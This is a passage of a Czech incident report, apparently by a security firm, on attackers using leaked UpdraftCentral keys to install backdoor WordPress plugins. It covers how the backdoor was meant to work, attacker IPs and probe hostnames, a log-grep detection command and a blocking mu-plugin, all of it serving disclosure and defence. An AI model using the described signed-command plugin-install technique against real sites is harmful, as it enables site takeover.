{"id":9627,"date":"2026-10-19T07:44:03","date_gmt":"2026-10-19T05:44:03","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-analyza\/"},"modified":"2026-10-19T17:03:23","modified_gmt":"2026-10-19T15:03:23","slug":"updraftcentral-backdoor-analyza","status":"publish","type":"post","link":"https:\/\/nethemba.com\/cs\/updraftcentral-backdoor-analyza\/","title":{"rendered":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby"},"content":{"rendered":"<h2 id=\"shrnut\u00ed\">Shrnut\u00ed<\/h2>\n<p><em>Stav k 19. \u0159\u00edjnu 2026, posledn\u00ed aktualizace 19. 10. 2026 (vyj\u00e1d\u0159en\u00ed v\u00fdrobce). Seznam zm\u011bn je na konci \u010dl\u00e1nku. Text budeme dopl\u0148ovat podle dal\u0161\u00edho v\u00fdvoje.<\/em><\/p>\n<p><strong>Aktualizace 19. 10. 2026:<\/strong> TeamUpdraft <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">potvrdil bezpe\u010dnostn\u00ed incident<\/a>. B\u011bhem v\u00edkendu 17. a 18. \u0159\u00edjna m\u011bl \u00fato\u010dn\u00edk neopr\u00e1vn\u011bn\u00fd p\u0159\u00edstup na teamupdraft.com a podle v\u00fdrobce pravd\u011bpodobn\u011b z\u00edskal z\u00e1kaznickou datab\u00e1zi: jm\u00e9na, e-maily, faktura\u010dn\u00ed adresy, historii objedn\u00e1vek, hashe hesel, nastaven\u00ed dvouf\u00e1zov\u00e9ho ov\u011b\u0159en\u00ed a kl\u00ed\u010de spojen\u00ed pro UpdraftCentral (cloud), UpdraftVault a UpdraftClone. Kl\u00ed\u010de, kter\u00fdmi \u00fato\u010dn\u00edk podepisoval p\u0159\u00edkazy, tedy unikly p\u0159\u00edmo od v\u00fdrobce. V\u00fdrobce odhl\u00e1sil v\u0161echny \u00fa\u010dty, vym\u011bnil kl\u00ed\u010de pro UpdraftVault a UpdraftClone a p\u0159ipravuje nouzovou verzi UpdraftPlus, kter\u00e1 automaticky odpoj\u00ed v\u0161echna spojen\u00ed UpdraftCentral vytvo\u0159en\u00e1 p\u0159ed 18. 10. 2026 22:00 BST (23:00 SEL\u010c). Dashboard\u016f UpdraftCentral hostovan\u00fdch na vlastn\u00edm serveru se \u00fanik podle v\u00fdrobce net\u00fdk\u00e1.<\/p>\n<p><strong>Aktualizace 19. 10. 2026 (ve\u010der):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack zve\u0159ejnil vlastn\u00ed anal\u00fdzu<\/a>, kter\u00e1 na\u0161e zji\u0161t\u011bn\u00ed potvrzuje a roz\u0161i\u0159uje. Vid\u011bl 99 r\u016fzn\u00fdch n\u00e1zv\u016f backdoor plugin\u016f nainstalovan\u00fdch od 18. 10. 15:32 do 19. 10. 9:23 a druhou IP adresu \u00fato\u010dn\u00edka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Ozvali se n\u00e1m i dal\u0161\u00ed posti\u017een\u00ed spr\u00e1vci. Jeden z nich na\u0161el <strong>druhou variantu backdooru, kter\u00e1 vytv\u00e1\u0159\u00ed skryt\u00e9ho administr\u00e1tora<\/strong>. Popisujeme ji n\u00ed\u017ee a kontroln\u00ed skript jsme upravili, aby ji zachytil. Pokud jste skript spou\u0161t\u011bli d\u0159\u00edve, spus\u0165te ho znovu.<\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>\u010ceho se to t\u00fdk\u00e1<\/strong><\/td>\n<td>slu\u017eby UpdraftCentral, jej\u00ed\u017e klient je sou\u010d\u00e1st\u00ed pluginu UpdraftPlus, bezplatn\u00e9ho i pr\u00e9miov\u00e9ho<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Dot\u010den\u00e9 verze<\/strong><\/td>\n<td>v\u0161echny verze UpdraftPlus p\u0159ipojen\u00e9 k UpdraftCentral Cloud spojen\u00edm vytvo\u0159en\u00fdm p\u0159ed 18. 10. 2026 23:00 SEL\u010c, v\u010detn\u011b nejnov\u011bj\u0161\u00edch 1.26.11 a 2.26.11. P\u0159ipojen\u00e9 weby s verzemi do 1.26.4 a 2.26.4 um\u00ed \u00fato\u010dn\u00edk napadnout i bez platn\u00fdch kl\u00ed\u010d\u016f (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Kolik web\u016f<\/strong><\/td>\n<td>UpdraftPlus m\u00e1 podle wordpress.org v\u00edce ne\u017e 4 miliony aktivn\u00edch instalac\u00ed a v\u00fdrobce ho ozna\u010duje za nejpopul\u00e1rn\u011bj\u0161\u00ed plugin pro pl\u00e1novan\u00e9 z\u00e1lohov\u00e1n\u00ed na sv\u011bt\u011b. U \u010dervnov\u00e9 chyby stejn\u00e9ho kan\u00e1lu v\u00fdrobce odhadl, \u017ee kl\u00ed\u010d UpdraftCentral nebo Migrator m\u00e1 m\u00e9n\u011b ne\u017e 10 % u\u017eivatel\u016f, tedy a\u017e kolem 400 000 web\u016f. Kolik z nich \u00fato\u010dn\u00edk napadl, nev\u00edme.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Oprava<\/strong><\/td>\n<td>v\u00fdrobce p\u0159ipravuje nouzovou verzi UpdraftPlus, kter\u00e1 automaticky odpoj\u00ed v\u0161echna spojen\u00ed UpdraftCentral vytvo\u0159en\u00e1 p\u0159ed 18. 10. 2026 23:00 SEL\u010c. Ne\u017e vyjde, je t\u0159eba kl\u00ed\u010de smazat ru\u010dn\u011b.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Do\u010dasn\u00e9 \u0159e\u0161en\u00ed<\/strong><\/td>\n<td>zru\u0161it spojen\u00ed s UpdraftCentral, web zkontrolovat na\u0161\u00edm skriptem, zm\u011bnit heslo k \u00fa\u010dtu teamupdraft.com a voliteln\u011b zablokovat p\u0159\u00edkazy UpdraftCentral mal\u00fdm mu-pluginem (postup n\u00ed\u017ee). UpdraftPlus nen\u00ed t\u0159eba odinstalovat, z\u00e1lohov\u00e1n\u00ed funguje d\u00e1l.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>V noci na 19. \u0159\u00edjna 2026 poslal \u00fato\u010dn\u00edk z IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> p\u0159es slu\u017ebu UpdraftCentral p\u0159\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> na t\u0159i na\u0161e weby s WordPressem. UpdraftCentral je slu\u017eba pro vzd\u00e1lenou spr\u00e1vu web\u016f od TeamUpdraft a jej\u00ed klient je zabudovan\u00fd v ka\u017ed\u00e9 kopii pluginu UpdraftPlus. Na dvou z na\u0161ich web\u016f p\u0159\u00edkaz pro\u0161el a WordPress nainstaloval a aktivoval nezn\u00e1m\u00fd plugin. Na t\u0159et\u00edm selhal na opr\u00e1vn\u011bn\u00edch.<\/p>\n<p>Chyba nebyla na na\u0161\u00ed stran\u011b. V\u0161echny t\u0159i weby m\u011bly aktu\u00e1ln\u00ed WordPress 7.1.3 i UpdraftPlus 2.26.11, opraven\u00fd proti \u010dervnov\u00e9 zranitelnosti CVE-2026-10795. \u00dato\u010dn\u00edk se do na\u0161ich server\u016f nenabo\u0159il a nevyu\u017eil \u017e\u00e1dnou chybu v na\u0161\u00ed konfiguraci. P\u0159i\u0161el kan\u00e1lem vzd\u00e1len\u00e9 spr\u00e1vy UpdraftCentral a p\u0159\u00edkazy podepsal platn\u00fdmi soukrom\u00fdmi kl\u00ed\u010di dashboardu. Ty generuje a uchov\u00e1v\u00e1 slu\u017eba UpdraftCentral Cloud a na na\u0161ich serverech nikdy nebyly. Kdo je m\u00e1, m\u016f\u017ee na ka\u017ed\u00e9m p\u0159ipojen\u00e9m webu bez v\u011bdom\u00ed majitele nainstalovat a spustit libovoln\u00fd k\u00f3d. Proto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n<p><strong>Kdo je ohro\u017een:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm i pr\u00e9miov\u00fdm, kter\u00fd je p\u0159ipojen\u00fd k UpdraftCentral, tedy m\u00e1 vytvo\u0159en\u00fd kl\u00ed\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z v\u00edce ne\u017e 4 milion\u016f instalac\u00ed UpdraftPlus. Weby, kter\u00e9 k UpdraftCentral p\u0159ipojen\u00e9 nejsou, tento \u00fatok neohro\u017euje, proto\u017ee p\u0159\u00edkazy UpdraftCentral bez kl\u00ed\u010de nep\u0159ij\u00edmaj\u00ed. Na\u0161e weby byly p\u0159ipojen\u00e9 k UpdraftCentral Cloud, tedy k dashboardu, kter\u00fd provozuje TeamUpdraft. Podle v\u00fdrobce se \u00fanik net\u00fdk\u00e1 dashboard\u016f UpdraftCentral hostovan\u00fdch na vlastn\u00edm serveru. Unikly ale i kl\u00ed\u010de pro UpdraftVault a UpdraftClone, kter\u00e9 v\u00fdrobce mezit\u00edm vym\u011bnil.<\/p>\n<p>Nejde o zranitelnost CVE-2026-10795, o kter\u00e9 v \u010dervnu psal Wordfence: tu m\u011bly na\u0161e weby opravenou a pokusy o jej\u00ed zneu\u017eit\u00ed na nich selh\u00e1valy.<\/p>\n<p>Plugin je backdoor. Na tajn\u00fd odkaz m\u011bl vytvo\u0159it \u00fa\u010det se zamaskovan\u00fdmi pr\u00e1vy administr\u00e1tora a \u00fato\u010dn\u00edka do n\u011bj rovnou p\u0159ihl\u00e1sit. Autor v\u0161ak v k\u00f3du ud\u011blal chybu, tak\u017ee backdoor nikdy nefungoval. M\u00edsto toho shodil ka\u017ed\u00fd po\u017eadavek na web, kter\u00fd ne\u0161el z cache, a WordPress n\u00e1m o tom poslal e-mail. D\u00edky tomu jsme ho na\u0161li b\u011bhem n\u011bkolika minut a\u017e hodin.<\/p>\n<p>Incident jsme 19. \u0159\u00edjna nahl\u00e1sili TeamUpdraft a po\u017e\u00e1dali je o vysv\u011btlen\u00ed, jak se kl\u00ed\u010de dostaly k \u00fato\u010dn\u00edkovi.<\/p>\n<p><strong>Pokud m\u00e1te web p\u0159ipojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1ln\u011b kompromitovan\u00fd, dokud ho neov\u011b\u0159\u00edte.<\/strong> Spojen\u00ed okam\u017eit\u011b zru\u0161te a web zkontrolujte podle postupu n\u00ed\u017ee. K 19. \u0159\u00edjnu 2026 jsme o tomto backdooru ani o podobn\u00e9m \u00fatoku po \u010dervnov\u00e9 oprav\u011b nena\u0161li \u017e\u00e1dnou ve\u0159ejnou zm\u00ednku.<\/p>\n<h2 id=\"co-ud\u011blat-hned\">Co ud\u011blat hned<\/h2>\n<h3 id=\"zru\u0161te-spojen\u00ed-s-updraftcentral\">1. Zru\u0161te spojen\u00ed s UpdraftCentral<\/h3>\n<p>V administraci WordPressu otev\u0159ete Nastaven\u00ed \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klikn\u011bte na \u201eManage existing keys (N)\u2026\u201c a u ka\u017ed\u00e9ho kl\u00ed\u010de na \u201eDelete\u2026\u201c. Pokud tam \u017e\u00e1dn\u00fd kl\u00ed\u010d nen\u00ed, web p\u0159ipojen\u00fd nen\u00ed.<\/p>\n<p>S p\u0159\u00edstupem k p\u0159\u00edkazov\u00e9 \u0159\u00e1dce tot\u00e9\u017e ud\u011bl\u00e1 tento p\u0159\u00edkaz v ko\u0159enov\u00e9m adres\u00e1\u0159i WordPressu:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Potom web odstra\u0148te i v dashboardu UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 u webu \u2192 Remove site). Samotn\u00e9 odstran\u011bn\u00ed z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 soukrom\u00fd kl\u00ed\u010d dashboardu, tak\u017ee rozhoduje smaz\u00e1n\u00ed kl\u00ed\u010de na webu.<\/p>\n<p>V\u00fdrobce uv\u00e1d\u00ed, \u017ee po smaz\u00e1n\u00ed kl\u00ed\u010de, kontrole webu a zm\u011bn\u011b hesel administr\u00e1tor\u016f m\u016f\u017eete web znovu p\u0159ipojit. P\u0159edt\u00edm si zm\u011b\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadejte do prohl\u00ed\u017ee\u010de ru\u010dn\u011b, ne p\u0159es odkaz z e-mailu), stejn\u00e9 heslo zm\u011b\u0148te v\u0161ude, kde jste ho pou\u017eili, a znovu nastavte dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed. Pokud m\u00e1te nasazen\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, p\u0159ed nov\u00fdm p\u0159ipojen\u00edm ho odstra\u0148te. Kdo pou\u017e\u00edv\u00e1 UpdraftVault, mus\u00ed web k n\u011bmu znovu p\u0159ipojit s nov\u00fdmi \u00fadaji.<\/p>\n<h3 id=\"ov\u011b\u0159te-zda-na-webu-nen\u00ed-backdoor\">2. Ov\u011b\u0159te, zda na webu nen\u00ed backdoor<\/h3>\n<p>Bez p\u0159\u00edkazov\u00e9 \u0159\u00e1dky:<\/p>\n<ul>\n<li>Na stejn\u00e9 obrazovce UpdraftCentral klikn\u011bte na \u201eView recent UpdraftCentral log events\u2026\u201c. Hledejte \u0159\u00e1dky \u201eCommand received: plugin.upload_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c.<\/li>\n<li>V seznamu plugin\u016f hledejte plugin s popisem \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a s n\u00e1zvem ze dvou slov a t\u0159\u00ed znak\u016f, nap\u0159\u00edklad \u201eLoad Stack 35C\u201c.<\/li>\n<li>Plugin s popisem \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c je druh\u00e1 varianta. Jej\u00ed \u00fa\u010det se v seznamu u\u017eivatel\u016f nezobraz\u00ed, proto web zkontrolujte i skriptem.<\/li>\n<li>V seznamu u\u017eivatel\u016f hledejte \u00fa\u010det se jm\u00e9nem \u201eSite Tools\u201c nebo s e-mailem na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code>.<\/li>\n<\/ul>\n<p>Pokud je backdoor na webu, administrace nemus\u00ed fungovat, proto\u017ee plugin shazuje ka\u017ed\u00fd po\u017eadavek. Pak pou\u017eijte p\u0159\u00edkazovou \u0159\u00e1dku.<\/p>\n<p>S p\u0159\u00edkazovou \u0159\u00e1dkou ulo\u017ete n\u00e1\u0161 kontroln\u00ed skript z konce \u010dl\u00e1nku jako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> do ko\u0159enov\u00e9ho adres\u00e1\u0159e WordPressu a spus\u0165te:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>Skript nic nem\u011bn\u00ed, jen \u010dte. P\u0159ep\u00edna\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> je d\u016fle\u017eit\u00fd, proto\u017ee nainstalovan\u00fd backdoor by jinak shodil i WP-CLI. \u0158\u00e1dky <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> znamenaj\u00ed stopy \u00fatoku, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> v\u011bc ke kontrole a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> \u010dist\u00fd v\u00fdsledek. Z\u00e1znam o p\u0159ijat\u00e9m p\u0159\u00edkazu je\u0161t\u011b neznamen\u00e1, \u017ee se plugin nainstaloval (na jednom z na\u0161ich web\u016f nepro\u0161el), proto skript kontroluje i soubory, volby v datab\u00e1zi a \u00fa\u010dty. Pokud najde cokoli s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, pokra\u010dujte \u010d\u00e1st\u00ed \u201eCo d\u011blat, kdy\u017e ho najdete\u201c.<\/p>\n<p>UpdraftPlus si v logu UpdraftCentral pamatuje jen posledn\u00edch 50 ud\u00e1lost\u00ed. Na webu, kam \u010dasto chod\u00ed skenery, m\u016f\u017ee z\u00e1znam o \u00fatoku z logu vypadnout a skript pak u logu hl\u00e1s\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code>. Pokud m\u00e1te p\u0159\u00edstup k log\u016fm webov\u00e9ho serveru, prohledejte i je (cestu upravte podle serveru, u nginx nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>P\u0159\u00edkaz najde po\u017eadavky UpdraftCentral bez verze knihovny v hlavi\u010dce User-Agent, jak\u00e9 pos\u00edlal \u00fato\u010dn\u00edk. Skute\u010dn\u00fd dashboard pos\u00edl\u00e1 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho p\u0159\u00edkaz nezachyt\u00ed.<\/p>\n<h3 id=\"voliteln\u011b-zablokujte-p\u0159\u00edkazy-updraftcentral-\u00fapln\u011b\">3. Voliteln\u011b: zablokujte p\u0159\u00edkazy UpdraftCentral \u00fapln\u011b<\/h3>\n<p>Pokud chcete m\u00edt jistotu, \u017ee web neprovede \u017e\u00e1dn\u00fd p\u0159\u00edkaz UpdraftCentral ani tehdy, kdyby na n\u011bm z\u016fstal kl\u00ed\u010d, ulo\u017ete do adres\u00e1\u0159e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> soubor <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> s t\u00edmto obsahem:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n    http_response_code( 403 );\n    exit;\n}<\/code><\/pre>\n<p>Soubory v <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> WordPress na\u010d\u00edt\u00e1 p\u0159ed b\u011b\u017en\u00fdmi pluginy, tak\u017ee se po\u017eadavek zastav\u00ed d\u0159\u00edv, ne\u017e ho UpdraftPlus zpracuje. Blokuje i migraci web\u016f p\u0159es UpdraftPlus Migrator, kter\u00e1 pou\u017e\u00edv\u00e1 stejn\u00fd kan\u00e1l. A\u017e v\u00fdrobce probl\u00e9m vysv\u011btl\u00ed a vy\u0159e\u0161\u00ed, soubor sma\u017ete.<\/p>\n<h2 id=\"jak-jsme-na-to-p\u0159i\u0161li\">Jak jsme na to p\u0159i\u0161li<\/h2>\n<p>V 5:38 n\u00e1m p\u0159i\u0161el automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s takov\u00fdm n\u00e1zvem jsme nikdy neinstalovali. Chybov\u00e1 zpr\u00e1va zn\u011bla <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracel na ka\u017ed\u00fd po\u017eadavek chybu 500.<\/p>\n<p>V\u0161echny soubory v adres\u00e1\u0159i <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> m\u011bly stejn\u00fd \u010das z\u00e1pisu, 4:14:30. O sekundu pozd\u011bji se zm\u011bnil adres\u00e1\u0159 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, kter\u00fd WordPress pou\u017e\u00edv\u00e1 p\u0159i rozbalov\u00e1n\u00ed instalovan\u00fdch plugin\u016f. Plugin tedy p\u0159i\u0161el p\u0159es standardn\u00ed instal\u00e1tor WordPressu, ne nahr\u00e1n\u00edm souboru na disk. V access logu p\u0159esn\u011b v t\u00e9 sekund\u011b stoj\u00ed jedin\u00fd po\u017eadavek:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> je knihovna, p\u0159es kterou UpdraftPlus p\u0159ij\u00edm\u00e1 p\u0159\u00edkazy z UpdraftCentral. Jej\u00ed vlastn\u00ed log (volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code> v datab\u00e1zi) to potvrdil: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"\u010dasov\u00e1-osa\">\u010casov\u00e1 osa<\/h2>\n<p>Weby ozna\u010dujeme A, B a C. V\u0161echny \u010dasy jsou v SEL\u010c. V\u0161echny po\u017eadavky p\u0159i\u0161ly z <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (poskytovatel RedSwitches) s hlavi\u010dkou User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Web<\/th>\n<th>Sonda<\/th>\n<th>Instalace pluginu<\/th>\n<th>V\u00fdsledek<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Web C<\/td>\n<td>19. 10. 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>selhala, kl\u00ed\u010d pat\u0159il u\u017eivateli bez pr\u00e1va instalovat pluginy<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Web A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>backdoor \u201eLoad Stack 35C\u201c aktivn\u00ed, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Web B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>backdoor \u201eText Gantry Eb0\u201c aktivn\u00ed, odstran\u011bn v 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Sonda je zpr\u00e1va adresovan\u00e1 neexistuj\u00edc\u00edmu kl\u00ed\u010di <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. Web na ni odpov\u00ed, \u017ee zpr\u00e1v\u011b nerozum\u00ed, a t\u00edm prozrad\u00ed, \u017ee p\u0159ij\u00edm\u00e1 p\u0159\u00edkazy UpdraftCentral. Dal\u0161\u00ed p\u0159\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skute\u010dn\u00fd kl\u00ed\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. Na v\u0161ech t\u0159ech webech prob\u011bhl \u00fatok stejn\u011b, 